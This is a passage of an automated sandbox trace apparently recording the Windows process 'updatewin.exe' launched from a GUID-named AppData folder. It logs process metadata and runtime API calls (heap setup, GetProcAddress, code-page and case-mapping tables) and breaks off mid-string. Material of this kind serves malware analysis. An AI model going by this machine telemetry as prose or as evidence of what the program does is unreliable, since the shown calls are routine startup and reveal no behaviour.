(in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ad00 | out: hHeap=0x510000) returned 1 [0054.660] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Process: id = "8" image_name = "updatewin.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe" page_root = "0x17af2000" os_pid = "0xb30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xad8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 54 os_tid = 0xb34 [0054.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xad8241b0, dwHighDateTime=0x1d54670)) [0054.686] GetCurrentProcessId () returned 0xb30 [0054.686] GetCurrentThreadId () returned 0xb34 [0054.686] GetTickCount () returned 0x1c87c [0054.686] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17497531497) returned 1 [0054.698] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.698] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x580000 [0054.699] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.699] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.699] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0054.699] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.699] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0054.699] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.699] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.700] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.700] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.700] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.700] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.700] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.700] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.700] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.700] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.700] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.700] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.700] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.701] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.701] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.701] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.701] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x214) returned 0x5807d0 [0054.701] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.701] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.701] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.702] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.702] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.702] GetCurrentThreadId () returned 0xb34 [0054.702] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x5809f0 [0054.702] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0054.702] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0054.702] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0054.702] SetHandleCount (uNumber=0x20) returned 0x20 [0054.702] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe\" " [0054.702] GetEnvironmentStringsW () returned 0x2c4e60* [0054.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0054.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x565) returned 0x5811f8 [0054.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5811f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0054.702] FreeEnvironmentStringsW (penv=0x2c4e60) returned 1 [0054.702] GetLastError () returned 0x0 [0054.703] SetLastError (dwErrCode=0x0) [0054.703] GetLastError () returned 0x0 [0054.703] SetLastError (dwErrCode=0x0) [0054.703] GetLastError () returned 0x0 [0054.703] SetLastError (dwErrCode=0x0) [0054.703] GetACP () returned 0x4e4 [0054.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x220) returned 0x581768 [0054.703] GetLastError () returned 0x0 [0054.703] SetLastError (dwErrCode=0x0) [0054.703] IsValidCodePage (CodePage=0x4e4) returned 1 [0054.703] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0054.703] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0054.703] GetLastError () returned 0x0 [0054.703] SetLastError (dwErrCode=0x0) [0054.703] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0054.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.703] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0054.703] GetLastError () returned 0x0 [0054.703] SetLastError (dwErrCode=0x0) [0054.703] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0054.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᪼뵦㞥AĀ") returned 256 [0054.703] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᪼뵦㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.703] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᪼뵦㞥AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x3d\xad\xb4\xbf\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0054.703] GetLastError () returned 0x0 [0054.703] SetLastError (dwErrCode=0x0) [0054.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᪼뵦㞥AĀ") returned 256 [0054.704] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᪼뵦㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.704] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᪼뵦㞥AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0054.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\x